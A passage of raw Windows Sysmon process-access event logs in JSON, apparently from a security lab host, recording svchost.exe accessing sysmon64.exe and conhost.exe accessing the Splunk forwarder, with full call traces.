C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1651,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1652,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1653,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1654,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1655,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1656,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1657,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1658,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001070F40200}\r\nTargetProcessId: 3916\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: 